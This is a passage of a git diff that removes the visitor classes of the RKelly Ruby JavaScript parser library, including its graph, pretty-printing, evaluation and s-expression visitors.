\"#{to.node_id}\":f0" - end - end - - attr_reader :nodes, :arrows - def initialize - @stack = [] - @node_index = 0 - @nodes = [] - @arrows = [] - end - - ## Terminal nodes - %w{ - BreakNode ContinueNode EmptyStatementNode FalseNode - NullNode NumberNode ParameterNode RegexpNode ResolveNode StringNode - ThisNode TrueNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.value].compact) - add_arrow_for(node) - @nodes << node - end - end - ## End Terminal nodes - - # Single value nodes - %w{ - AssignExprNode BitwiseNotNode BlockNode DeleteNode ElementNode - ExpressionStatementNode FunctionBodyNode LogicalNotNode ReturnNode - ThrowNode TypeOfNode UnaryMinusNode UnaryPlusNode VoidNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.value && o.value.accept(self) - @stack.pop - end - end - # End Single value nodes - - # Binary nodes - %w{ - AddNode BitAndNode BitOrNode BitXOrNode CaseClauseNode CommaNode - DivideNode DoWhileNode EqualNode GreaterNode GreaterOrEqualNode InNode - InstanceOfNode LeftShiftNode LessNode LessOrEqualNode LogicalAndNode - LogicalOrNode ModulusNode MultiplyNode NotEqualNode NotStrictEqualNode - OpAndEqualNode OpDivideEqualNode OpEqualNode OpLShiftEqualNode - OpMinusEqualNode OpModEqualNode OpMultiplyEqualNode OpOrEqualNode - OpPlusEqualNode OpRShiftEqualNode OpURShiftEqualNode OpXOrEqualNode - RightShiftNode StrictEqualNode SubtractNode SwitchNode - UnsignedRightShiftNode WhileNode WithNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.left && o.left.accept(self) - o.value && o.value.accept(self) - @stack.pop - end - end - # End Binary nodes - - # Array Value Nodes - %w{ - ArgumentsNode ArrayNode CaseBlockNode ConstStatementNode - ObjectLiteralNode SourceElementsNode VarStatementNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.value && o.value.each { |v| v && v.accept(self) } - @stack.pop - end - end - # END Array Value Nodes - - # Name and Value Nodes - %w{ - LabelNode PropertyNode GetterPropertyNode SetterPropertyNode VarDeclNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.name || 'NULL']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.value && o.value.accept(self) - @stack.pop - end - end - # END Name and Value Nodes - - %w{ PostfixNode PrefixNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.value]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.operand && o.operand.accept(self) - @stack.pop - end - end - - def visit_ForNode(o) - node = Node.new(@node_index += 1, ['ForNode']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:init, :test, :counter, :value].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - %w{ IfNode ConditionalNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:conditions, :value, :else].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - end - - def visit_ForInNode(o) - node = Node.new(@node_index += 1, ['ForInNode']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:left, :right, :value].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - def visit_TryNode(o) - node = Node.new(@node_index += 1, ['TryNode', o.catch_var || 'NULL']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value, :catch_block, :finally_block].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - def visit_BracketAccessorNode(o) - node = Node.new(@node_index += 1, ['BracketAccessorNode']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value, :accessor].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - %w{ NewExprNode FunctionCallNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value, :arguments].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - end - - %w{ FunctionExprNode FunctionDeclNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.value || 'NULL']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.arguments.each { |a| a && a.accept(self) } - o.function_body && o.function_body.accept(self) - @stack.pop - end - end - - def visit_DotAccessorNode(o) - node = Node.new(@node_index += 1, ['DotAccessorNode', o.accessor]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - private - def add_arrow_for(node, label = nil) - @arrows << Arrow.new(@stack.last, node, label) if @stack.length > 0 - end - - end - end -end diff --git a/lib/rkelly/visitors/ecma_visitor.rb b/lib/rkelly/visitors/ecma_visitor.rb deleted file mode 100644 index 265f792a49..0000000000 --- a/lib/rkelly/visitors/ecma_visitor.rb +++ /dev/null @@ -1,327 +0,0 @@ -module RKelly - module Visitors - class ECMAVisitor < Visitor - def initialize - @indent = 0 - end - - def visit_ParentheticalNode(o) - "(#{o.value.accept(self)})" - end - - def visit_SourceElementsNode(o) - o.value.map { |x| "#{indent}#{x.accept(self)}" }.join("\n") - end - - def visit_VarStatementNode(o) - "var #{o.value.map { |x| x.accept(self) }.join(', ')};" - end - - def visit_ConstStatementNode(o) - "const #{o.value.map { |x| x.accept(self) }.join(', ')};" - end - - def visit_VarDeclNode(o) - "#{o.name}#{o.value ? o.value.accept(self) : nil}" - end - - def visit_AssignExprNode(o) - " = #{o.value.accept(self)}" - end - - def visit_NumberNode(o) - o.value.to_s - end - - def visit_ForNode(o) - init = o.init ? o.init.accept(self) : ';' - test = o.test ? o.test.accept(self) : '' - counter = o.counter ? o.counter.accept(self) : '' - # VarStatementNodes will have a ; appended automatically, but other - # expressions won't, so make sure it's there - if init[-1,1] != ';' - init += ';' - end - "for(#{init} #{test}; #{counter}) #{o.value.accept(self)}" - end - - def visit_LessNode(o) - "#{o.left.accept(self)} < #{o.value.accept(self)}" - end - - def visit_ResolveNode(o) - o.value - end - - def visit_PostfixNode(o) - "#{o.operand.accept(self)}#{o.value}" - end - - def visit_PrefixNode(o) - "#{o.value}#{o.operand.accept(self)}" - end - - def visit_BlockNode(o) - @indent += 1 - "{\n#{o.value.accept(self)}\n#{@indent -=1; indent}}" - end - - def visit_ExpressionStatementNode(o) - "#{o.value.accept(self)};" - end - - def visit_OpEqualNode(o) - "#{o.left.accept(self)} = #{o.value.accept(self)}" - end - - def visit_FunctionCallNode(o) - "#{o.value.accept(self)}(#{o.arguments.accept(self)})" - end - - def visit_ArgumentsNode(o) - o.value.map { |x| x.accept(self) }.join(', ') - end - - def visit_StringNode(o) - o.value - end - - def visit_NullNode(o) - "null" - end - - def visit_FunctionDeclNode(o) - "#{indent}function #{o.value}(" + - "#{o.arguments.map { |x| x.accept(self) }.join(', ')})" + - "#{o.function_body.accept(self)}" - end - - def visit_ParameterNode(o) - o.value - end - - def visit_FunctionBodyNode(o) - @indent += 1 - "{\n#{o.value.accept(self)}\n#{@indent -=1; indent}}" - end - - def visit_BreakNode(o) - "break" + (o.value ? " #{o.value}" : '') + ';' - end - - def visit_ContinueNode(o) - "continue" + (o.value ? " #{o.value}" : '') + ';' - end - - def visit_TrueNode(o) - "true" - end - - def visit_FalseNode(o) - "false" - end - - def visit_EmptyStatementNode(o) - ';' - end - - def visit_RegexpNode(o) - o.value - end - - def visit_DotAccessorNode(o) - "#{o.value.accept(self)}.#{o.accessor}" - end - - def visit_ThisNode(o) - "this" - end - - def visit_BitwiseNotNode(o) - "~#{o.value.accept(self)}" - end - - def visit_DeleteNode(o) - "delete #{o.value.accept(self)}" - end - - def visit_ArrayNode(o) - "[#{o.value.map { |x| x ? x.accept(self) : '' }.join(', ')}]" - end - - def visit_ElementNode(o) - o.value.accept(self) - end - - def visit_LogicalNotNode(o) - "!#{o.value.accept(self)}" - end - - def visit_UnaryMinusNode(o) - "-#{o.value.accept(self)}" - end - - def visit_UnaryPlusNode(o) - "+#{o.value.accept(self)}" - end - - def visit_ReturnNode(o) - "return" + (o.value ? " #{o.value.accept(self)}" : '') + ';' - end - - def visit_ThrowNode(o) - "throw #{o.value.accept(self)};" - end - - def visit_TypeOfNode(o) - "typeof #{o.value.accept(self)}" - end - - def visit_VoidNode(o) - "void(#{o.value.accept(self)})" - end - - [ - [:Add, '+'], - [:BitAnd, '&'], - [:BitOr, '|'], - [:BitXOr, '^'], - [:Divide, '/'], - [:Equal, '=='], - [:Greater, '>'], - [:Greater, '>'], - [:GreaterOrEqual, '>='], - [:GreaterOrEqual, '>='], - [:In, 'in'], - [:InstanceOf, 'instanceof'], - [:LeftShift, '<<'], - [:LessOrEqual, '<='], - [:LogicalAnd, '&&'], - [:LogicalOr, '||'], - [:Modulus, '%'], - [:Multiply, '*'], - [:NotEqual, '!='], - [:NotStrictEqual, '!=='], - [:OpAndEqual, '&='], - [:OpDivideEqual, '/='], - [:OpLShiftEqual, '<<='], - [:OpMinusEqual, '-='], - [:OpModEqual, '%='], - [:OpMultiplyEqual, '*='], - [:OpOrEqual, '|='], - [:OpPlusEqual, '+='], - [:OpRShiftEqual, '>>='], - [:OpURShiftEqual, '>>>='], - [:OpXOrEqual, '^='], - [:RightShift, '>>'], - [:StrictEqual, '==='], - [:Subtract, '-'], - [:UnsignedRightShift, '>>>'], - ].each do |name,op| - define_method(:"visit_#{name}Node") do |o| - "#{o.left.accept(self)} #{op} #{o.value.accept(self)}" - end - end - - def visit_WhileNode(o) - "while(#{o.left.accept(self)}) #{o.value.accept(self)}" - end - - def visit_SwitchNode(o) - "switch(#{o.left.accept(self)}) #{o.value.accept(self)}" - end - - def visit_CaseBlockNode(o) - @indent += 1 - "{\n" + (o.value ? o.value.map { |x| x.accept(self) }.join('') : '') + - "#{@indent -=1; indent}}" - end - - def visit_CaseClauseNode(o) - if o.left - case_code = "#{indent}case #{o.left.accept(self)}:\n" - else - case_code = "#{indent}default:\n" - end - @indent += 1 - case_code += "#{o.value.accept(self)}\n" - @indent -= 1 - case_code - end - - def visit_DoWhileNode(o) - "do #{o.left.accept(self)} while(#{o.value.accept(self)});" - end - - def visit_WithNode(o) - "with(#{o.left.accept(self)}) #{o.value.accept(self)}" - end - - def visit_LabelNode(o) - "#{o.name}: #{o.value.accept(self)}" - end - - def visit_ObjectLiteralNode(o) - @indent += 1 - lit = "{" + (o.value.length > 0 ? "\n" : ' ') + - o.value.map { |x| "#{indent}#{x.accept(self)}" }.join(",\n") + - (o.value.length > 0 ? "\n" : '') + '}' - @indent -= 1 - lit - end - - def visit_PropertyNode(o) - "#{o.name}: #{o.value.accept(self)}" - end - - def visit_GetterPropertyNode(o) - "get #{o.name}#{o.value.accept(self)}" - end - - def visit_SetterPropertyNode(o) - "set #{o.name}#{o.value.accept(self)}" - end - - def visit_FunctionExprNode(o) - "#{o.value}(#{o.arguments.map { |x| x.accept(self) }.join(', ')}) " + - "#{o.function_body.accept(self)}" - end - - def visit_CommaNode(o) - "#{o.left.accept(self)}, #{o.value.accept(self)}" - end - - def visit_IfNode(o) - "if(#{o.conditions.accept(self)}) #{o.value.accept(self)}" + - (o.else ? " else #{o.else.accept(self)}" : '') - end - - def visit_ConditionalNode(o) - "#{o.conditions.accept(self)} ? #{o.value.accept(self)} : " + - "#{o.else.accept(self)}" - end - - def visit_ForInNode(o) - "for(#{o.left.accept(self)} in #{o.right.accept(self)}) " + - "#{o.value.accept(self)}" - end - - def visit_TryNode(o) - "try #{o.value.accept(self)}" + - (o.catch_block ? " catch(#{o.catch_var}) #{o.catch_block.accept(self)}" : '') + - (o.finally_block ? " finally #{o.finally_block.accept(self)}" : '') - end - - def visit_BracketAccessorNode(o) - "#{o.value.accept(self)}[#{o.accessor.accept(self)}]" - end - - def visit_NewExprNode(o) - "new #{o.value.accept(self)}(#{o.arguments.accept(self)})" - end - - private - def indent; ' ' * @indent * 2; end - end - end -end diff --git a/lib/rkelly/visitors/enumerable_visitor.rb b/lib/rkelly/visitors/enumerable_visitor.rb deleted file mode 100644 index 60aec2d798..0000000000 --- a/lib/rkelly/visitors/enumerable_visitor.rb +++ /dev/null @@ -1,18 +0,0 @@ -module RKelly - module Visitors - class EnumerableVisitor < Visitor - def initialize(block) - @block = block - end - - ALL_NODES.each do |type| - eval <<-RUBY - def visit_#{type}Node(o) - @block[o] - super - end - RUBY - end - end - end -end diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb deleted file mode 100644 index 3353a6531b..0000000000 --- a/lib/rkelly/visitors/evaluation_visitor.rb +++ /dev/null @@ -1,420 +0,0 @@ -# -*- coding: binary -*- -module RKelly - module Visitors - class EvaluationVisitor < Visitor - attr_reader :scope_chain - def initialize(scope) - super() - @scope_chain = scope - @operand = [] - end - - def visit_SourceElementsNode(o) - o.value.each { |x| - next if scope_chain.returned? - x.accept(self) - } - end - - def visit_FunctionDeclNode(o) - end - - def visit_VarStatementNode(o) - o.value.each { |x| x.accept(self) } - end - - def visit_VarDeclNode(o) - @operand << o.name - o.value.accept(self) if o.value - @operand.pop - end - - def visit_IfNode(o) - truthiness = o.conditions.accept(self) - if truthiness.value && truthiness.value != 0 - o.value.accept(self) - else - o.else && o.else.accept(self) - end - end - - def visit_ResolveNode(o) - scope_chain[o.value] - end - - def visit_ThisNode(o) - scope_chain.this - end - - def visit_ExpressionStatementNode(o) - o.value.accept(self) - end - - def visit_AddNode(o) - left = to_primitive(o.left.accept(self), 'Number') - right = to_primitive(o.value.accept(self), 'Number') - - if left.value.is_a?(::String) || right.value.is_a?(::String) - RKelly::JS::Property.new(:add, - "#{left.value}#{right.value}" - ) - else - additive_operator(:+, left, right) - end - end - - def visit_SubtractNode(o) - RKelly::JS::Property.new(:subtract, - o.left.accept(self).value - o.value.accept(self).value - ) - end - - def visit_MultiplyNode(o) - left = to_number(o.left.accept(self)).value - right = to_number(o.value.accept(self)).value - return_val = - if [left, right].any? { |x| x.respond_to?(:nan?) && x.nan? } - RKelly::JS::NaN.new - else - [left, right].any? { |x| - x.respond_to?(:intinite?) && x.infinite? - } && [left, right].any? { |x| x == 0 - } ? RKelly::JS::NaN.new : left * right - end - RKelly::JS::Property.new(:multiple, return_val) - end - - def visit_DivideNode(o) - left = to_number(o.left.accept(self)).value - right = to_number(o.value.accept(self)).value - return_val = - if [left, right].any? { |x| - x.respond_to?(:nan?) && x.nan? || - x.respond_to?(:intinite?) && x.infinite? - } - RKelly::JS::NaN.new - elsif [left, right].all? { |x| x == 0 } - RKelly::JS::NaN.new - elsif right == 0 - left * (right.eql?(0) ? (1.0/0.0) : (-1.0/0.0)) - else - left / right - end - RKelly::JS::Property.new(:divide, return_val) - end - - def visit_ModulusNode(o) - left = to_number(o.left.accept(self)).value - right = to_number(o.value.accept(self)).value - return_val = - if [left, right].any? { |x| x.respond_to?(:nan?) && x.nan? } - RKelly::JS::NaN.new - elsif [left, right].all? { |x| x.respond_to?(:infinite?) && x.infinite? } - RKelly::JS::NaN.new - elsif right == 0 - RKelly::JS::NaN.new - elsif left.respond_to?(:infinite?) && left.infinite? - RKelly::JS::NaN.new - elsif right.respond_to?(:infinite?) && right.infinite? - left - else - left % right - end - RKelly::JS::Property.new(:divide, return_val) - end - - def visit_OpEqualNode(o) - left = o.left.accept(self) - right = o.value.accept(self) - left.value = right.value - left.function = right.function - left - end - - def visit_OpPlusEqualNode(o) - o.left.accept(self).value += o.value.accept(self).value - end - - def visit_AssignExprNode(o) - scope_chain[@operand.last] = o.value.accept(self) - end - - def visit_NumberNode(o) - RKelly::JS::Property.new(o.value, o.value) - end - - def visit_VoidNode(o) - o.value.accept(self) - RKelly::JS::Property.new(:undefined, :undefined) - end - - def visit_NullNode(o) - RKelly::JS::Property.new(nil, nil) - end - - def visit_TrueNode(o) - RKelly::JS::Property.new(true, true) - end - - def visit_FalseNode(o) - RKelly::JS::Property.new(false, false) - end - - def visit_StringNode(o) - RKelly::JS::Property.new(:string, - o.value.gsub(/\A['"]/, '').gsub(/['"]$/, '') - ) - end - - def visit_FunctionCallNode(o) - left = o.value.accept(self) - arguments = o.arguments.accept(self) - call_function(left, arguments) - end - - def visit_NewExprNode(o) - visit_FunctionCallNode(o) - end - - def visit_DotAccessorNode(o) - left = o.value.accept(self) - right = left.value[o.accessor] - right.binder = left.value - right - end - - def visit_EqualNode(o) - left = o.left.accept(self) - right = o.value.accept(self) - - RKelly::JS::Property.new(:equal_node, left.value == right.value) - end - - def visit_BlockNode(o) - o.value.accept(self) - end - - def visit_FunctionBodyNode(o) - o.value.accept(self) - scope_chain.return - end - - def visit_ReturnNode(o) - scope_chain.return = o.value.accept(self) - end - - def visit_BitwiseNotNode(o) - orig = o.value.accept(self) - number = to_int_32(orig) - RKelly::JS::Property.new(nil, ~number.value) - end - - def visit_PostfixNode(o) - orig = o.operand.accept(self) - number = to_number(orig) - case o.value - when '++' - orig.value = number.value + 1 - when '--' - orig.value = number.value - 1 - end - number - end - - def visit_PrefixNode(o) - orig = o.operand.accept(self) - number = to_number(orig) - case o.value - when '++' - orig.value = number.value + 1 - when '--' - orig.value = number.value - 1 - end - orig - end - - def visit_LogicalNotNode(o) - bool = to_boolean(o.value.accept(self)) - bool.value = !bool.value - bool - end - - def visit_ArgumentsNode(o) - o.value.map { |x| x.accept(self) } - end - - def visit_TypeOfNode(o) - val = o.value.accept(self) - return RKelly::JS::Property.new(:string, 'object') if val.value.nil? - - case val.value - when String - RKelly::JS::Property.new(:string, 'string') - when Numeric - RKelly::JS::Property.new(:string, 'number') - when true - RKelly::JS::Property.new(:string, 'boolean') - when false - RKelly::JS::Property.new(:string, 'boolean') - when :undefined - RKelly::JS::Property.new(:string, 'undefined') - else - RKelly::JS::Property.new(:object, 'object') - end - end - - def visit_UnaryPlusNode(o) - orig = o.value.accept(self) - to_number(orig) - end - - def visit_UnaryMinusNode(o) - orig = o.value.accept(self) - v = to_number(orig) - v.value = v.value == 0 ? -0.0 : 0 - v.value - v - end - - %w{ - ArrayNode BitAndNode BitOrNode - BitXOrNode BracketAccessorNode BreakNode - CaseBlockNode CaseClauseNode CommaNode ConditionalNode - ConstStatementNode ContinueNode DeleteNode - DoWhileNode ElementNode EmptyStatementNode - ForInNode ForNode - FunctionExprNode GetterPropertyNode GreaterNode GreaterOrEqualNode - InNode InstanceOfNode LabelNode LeftShiftNode LessNode - LessOrEqualNode LogicalAndNode LogicalOrNode - NotEqualNode NotStrictEqualNode - ObjectLiteralNode OpAndEqualNode OpDivideEqualNode - OpLShiftEqualNode OpMinusEqualNode OpModEqualNode - OpMultiplyEqualNode OpOrEqualNode OpRShiftEqualNode - OpURShiftEqualNode OpXOrEqualNode ParameterNode - PropertyNode RegexpNode RightShiftNode - SetterPropertyNode StrictEqualNode - SwitchNode ThrowNode TryNode - UnsignedRightShiftNode - WhileNode WithNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - raise "#{type} not defined" - end - end - - private - def to_number(object) - return RKelly::JS::Property.new('0', 0) unless object.value - - return_val = - case object.value - when :undefined - RKelly::JS::NaN.new - when false - 0 - when true - 1 - when Numeric - object.value - when ::String - s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '') - if s.length == 0 - 0 - else - case s - when /^([+-])?Infinity/ - $1 == '-' ? -1.0/0.0 : 1.0/0.0 - when /\A[-+]?\d+\.\d*(?:[eE][-+]?\d+)?$|\A[-+]?\d+(?:\.\d*)?[eE][-+]?\d+$|\A[-+]?\.\d+(?:[eE][-+]?\d+)?$/, /\A[-+]?0[xX][\da-fA-F]+$|\A[+-]?0[0-7]*$|\A[+-]?\d+$/ - s.gsub!(/\.(\D)/, '.0\1') if s =~ /\.\w/ - s.gsub!(/\.$/, '.0') if s =~ /\.$/ - s.gsub!(/^\./, '0.') if s =~ /^\./ - s.gsub!(/^([+-])\./, '\10.') if s =~ /^[+-]\./ - s = s.gsub(/^[0]*/, '') if /^0[1-9]+$/.match(s) - eval(s) - else - RKelly::JS::NaN.new - end - end - when RKelly::JS::Base - return to_number(to_primitive(object, 'Number')) - end - RKelly::JS::Property.new(nil, return_val) - end - - def to_boolean(object) - return RKelly::JS::Property.new(false, false) unless object.value - value = object.value - boolean = - case value - when :undefined - false - when true - true - when Numeric - value == 0 || value.respond_to?(:nan?) && value.nan? ? false : true - when ::String - value.length == 0 ? false : true - when RKelly::JS::Base - true - else - raise - end - RKelly::JS::Property.new(boolean, boolean) - end - - def to_int_32(object) - number = to_number(object) - value = number.value - return number if value == 0 - if value.respond_to?(:nan?) && (value.nan? || value.infinite?) - RKelly::JS::Property.new(nil, 0) - end - value = ((value < 0 ? -1 : 1) * value.abs.floor) % (2 ** 32) - if value >= 2 ** 31 - RKelly::JS::Property.new(nil, value - (2 ** 32)) - else - RKelly::JS::Property.new(nil, value) - end - end - - def to_primitive(object, preferred_type = nil) - return object unless object.value - case object.value - when false, true, :undefined, ::String, Numeric - RKelly::JS::Property.new(nil, object.value) - when RKelly::JS::Base - call_function(object.value.default_value(preferred_type)) - end - end - - def additive_operator(operator, left, right) - left, right = to_number(left).value, to_number(right).value - - left = left.respond_to?(:nan?) && left.nan? ? 0.0/0.0 : left - right = right.respond_to?(:nan?) && right.nan? ? 0.0/0.0 : right - - result = left.send(operator, right) - result = result.respond_to?(:nan?) && result.nan? ? JS::NaN.new : result - - RKelly::JS::Property.new(operator, result) - end - - def call_function(property, arguments = []) - function = property.function || property.value - case function - when RKelly::JS::Function - scope_chain.new_scope { |chain| - function.js_call(chain, *arguments) - } - when UnboundMethod - RKelly::JS::Property.new(:ruby, - function.bind(property.binder).call(*(arguments.map { |x| x.value})) - ) - else - RKelly::JS::Property.new(:ruby, - function.call(*(arguments.map { |x| x.value })) - ) - end - end - end - end -end diff --git a/lib/rkelly/visitors/function_visitor.rb b/lib/rkelly/visitors/function_visitor.rb deleted file mode 100644 index 1e9caf675c..0000000000 --- a/lib/rkelly/visitors/function_visitor.rb +++ /dev/null @@ -1,46 +0,0 @@ -module RKelly - module Visitors - class FunctionVisitor < Visitor - attr_reader :scope_chain - def initialize(scope) - super() - @scope_chain = scope - end - - def visit_SourceElementsNode(o) - o.value.each { |x| x.accept(self) } - end - - def visit_FunctionDeclNode(o) - if o.value - scope_chain[o.value].value = RKelly::JS::Function.new(o.function_body, o.arguments) - end - end - - %w{ - AddNode ArgumentsNode ArrayNode AssignExprNode BitAndNode BitOrNode - BitXOrNode BitwiseNotNode BlockNode BracketAccessorNode BreakNode - CaseBlockNode CaseClauseNode CommaNode ConditionalNode - ConstStatementNode ContinueNode DeleteNode DivideNode - DoWhileNode DotAccessorNode ElementNode EmptyStatementNode EqualNode - ExpressionStatementNode FalseNode ForInNode ForNode FunctionBodyNode - FunctionExprNode GetterPropertyNode GreaterNode GreaterOrEqualNode - IfNode InNode InstanceOfNode LabelNode LeftShiftNode LessNode - LessOrEqualNode LogicalAndNode LogicalNotNode LogicalOrNode ModulusNode - MultiplyNode NewExprNode NotEqualNode NotStrictEqualNode NullNode - NumberNode ObjectLiteralNode OpAndEqualNode OpDivideEqualNode - OpEqualNode OpLShiftEqualNode OpMinusEqualNode OpModEqualNode - OpMultiplyEqualNode OpOrEqualNode OpPlusEqualNode OpRShiftEqualNode - OpURShiftEqualNode OpXOrEqualNode ParameterNode PostfixNode PrefixNode - PropertyNode RegexpNode ResolveNode ReturnNode RightShiftNode - SetterPropertyNode StrictEqualNode StringNode - SubtractNode SwitchNode ThisNode ThrowNode TrueNode TryNode TypeOfNode - UnaryMinusNode UnaryPlusNode UnsignedRightShiftNode VarDeclNode - VarStatementNode VoidNode WhileNode WithNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - end - end - end - end -end diff --git a/lib/rkelly/visitors/pointcut_visitor.rb b/lib/rkelly/visitors/pointcut_visitor.rb deleted file mode 100644 index 0df6ba1d0b..0000000000 --- a/lib/rkelly/visitors/pointcut_visitor.rb +++ /dev/null @@ -1,31 +0,0 @@ -module RKelly - module Visitors - class PointcutVisitor < Visitor - attr_reader :matches - def initialize(pattern, matches = []) - @pattern = pattern - @matches = matches - end - - def >(pattern) - pattern = - case pattern - when Class - pattern.new(Object) - else - pattern - end - self.class.new(nil, @matches.map do |m| - m.pointcut(pattern).matches - end.flatten) - end - - ALL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - @matches << o if @pattern === o - super(o) - end - end - end - end -end diff --git a/lib/rkelly/visitors/real_sexp_visitor.rb b/lib/rkelly/visitors/real_sexp_visitor.rb deleted file mode 100644 index 25fda08dd7..0000000000 --- a/lib/rkelly/visitors/real_sexp_visitor.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Visitors - class RealSexpVisitor < Visitor - ALL_NODES.each do |type| - eval <<-RUBY - def visit_#{type}Node(o) - sexp = s(:#{type.scan(/[A-Z][a-z]+/).join('_').downcase}, *super(o)) - sexp.line = o.line if o.line - sexp.file = o.filename - sexp - end - RUBY - end - end - end -end diff --git a/lib/rkelly/visitors/sexp_visitor.rb b/lib/rkelly/visitors/sexp_visitor.rb deleted file mode 100644 index 1cde91a109..0000000000 --- a/lib/rkelly/visitors/sexp_visitor.rb +++ /dev/null @@ -1,373 +0,0 @@ -module RKelly - module Visitors - class SexpVisitor < Visitor - def visit_NumberNode(o) - [:lit, o.value] - end - - def visit_RegexpNode(o) - [:lit, o.value] - end - - def visit_AssignExprNode(o) - [:assign, super] - end - - def visit_VarDeclNode(o) - [ o.constant? ? :const_decl : :var_decl ] + super(o) - end - - def visit_VarStatementNode(o) - [:var, super] - end - - def visit_PostfixNode(o) - [:postfix, super, o.value] - end - - def visit_PrefixNode(o) - [:prefix, super, o.value] - end - - def visit_DeleteNode(o) - [:delete, super] - end - - def visit_VoidNode(o) - [:void, super] - end - - def visit_TypeOfNode(o) - [:typeof, super] - end - - def visit_UnaryPlusNode(o) - [:u_plus, super] - end - - def visit_UnaryMinusNode(o) - [:u_minus, super] - end - - def visit_BitwiseNotNode(o) - [:bitwise_not, super] - end - - def visit_LogicalNotNode(o) - [:not, super] - end - - def visit_ConstStatementNode(o) - [:const, super] - end - - def visit_MultiplyNode(o) - [:multiply, *super] - end - - def visit_DivideNode(o) - [:divide, *super] - end - - def visit_ModulusNode(o) - [:modulus, *super] - end - - def visit_AddNode(o) - [:add, *super] - end - - def visit_LeftShiftNode(o) - [:lshift, *super] - end - - def visit_RightShiftNode(o) - [:rshift, *super] - end - - def visit_UnsignedRightShiftNode(o) - [:urshift, *super] - end - - def visit_SubtractNode(o) - [:subtract, *super] - end - - def visit_LessNode(o) - [:less, *super] - end - - def visit_GreaterNode(o) - [:greater, *super] - end - - def visit_LessOrEqualNode(o) - [:less_or_equal, *super] - end - - def visit_GreaterOrEqualNode(o) - [:greater_or_equal, *super] - end - - def visit_InstanceOfNode(o) - [:instance_of, *super] - end - - def visit_EqualNode(o) - [:equal, *super] - end - - def visit_NotEqualNode(o) - [:not_equal, *super] - end - - def visit_StrictEqualNode(o) - [:strict_equal, *super] - end - - def visit_NotStrictEqualNode(o) - [:not_strict_equal, *super] - end - - def visit_BitAndNode(o) - [:bit_and, *super] - end - - def visit_BitOrNode(o) - [:bit_or, *super] - end - - def visit_BitXOrNode(o) - [:bit_xor, *super] - end - - def visit_LogicalAndNode(o) - [:and, *super] - end - - def visit_LogicalOrNode(o) - [:or, *super] - end - - def visit_InNode(o) - [:in, *super] - end - - def visit_DoWhileNode(o) - [:do_while, *super] - end - - def visit_WhileNode(o) - [:while, *super] - end - - def visit_WithNode(o) - [:with, *super] - end - - def visit_CaseClauseNode(o) - [:case, *super] - end - - def visit_CaseBlockNode(o) - [:case_block, super] - end - - def visit_SwitchNode(o) - [:switch, *super] - end - - def visit_ForNode(o) - [ :for, *super] - end - - def visit_BlockNode(o) - [:block, super] - end - - def visit_IfNode(o) - [:if, *super].compact - end - - def visit_ConditionalNode(o) - [:conditional, *super] - end - - def visit_ForInNode(o) - [ :for_in, *super] - end - - def visit_TryNode(o) - [ :try, *super] - end - - def visit_EmptyStatementNode(o) - [:empty] - end - - def visit_FunctionBodyNode(o) - [:func_body, super] - end - - def visit_ResolveNode(o) - [:resolve, o.value] - end - - def visit_BracketAccessorNode(o) - [:bracket_access, *super] - end - - def visit_NewExprNode(o) - [:new_expr, *super] - end - - def visit_ParameterNode(o) - [:param, o.value] - end - - def visit_BreakNode(o) - [:break, o.value].compact - end - - def visit_ContinueNode(o) - [:continue, o.value].compact - end - - def visit_LabelNode(o) - [:label ] + super - end - - def visit_ThrowNode(o) - [:throw, super] - end - - def visit_ObjectLiteralNode(o) - [:object, super] - end - - def visit_PropertyNode(o) - [ :property ] + super - end - - def visit_GetterPropertyNode(o) - [ :getter ] + super - end - - def visit_SetterPropertyNode(o) - [ :setter ] + super - end - - def visit_ElementNode(o) - [:element, super ] - end - - def visit_ExpressionStatementNode(o) - [:expression, super ] - end - - def visit_OpEqualNode(o) - [:op_equal, *super ] - end - - def visit_OpPlusEqualNode(o) - [:op_plus_equal, *super ] - end - - def visit_OpMinusEqualNode(o) - [:op_minus_equal, *super ] - end - - def visit_OpMultiplyEqualNode(o) - [:op_multiply_equal, *super ] - end - - def visit_OpDivideEqualNode(o) - [:op_divide_equal, *super] - end - - def visit_OpLShiftEqualNode(o) - [:op_lshift_equal, *super ] - end - - def visit_OpRShiftEqualNode(o) - [:op_rshift_equal, *super ] - end - - def 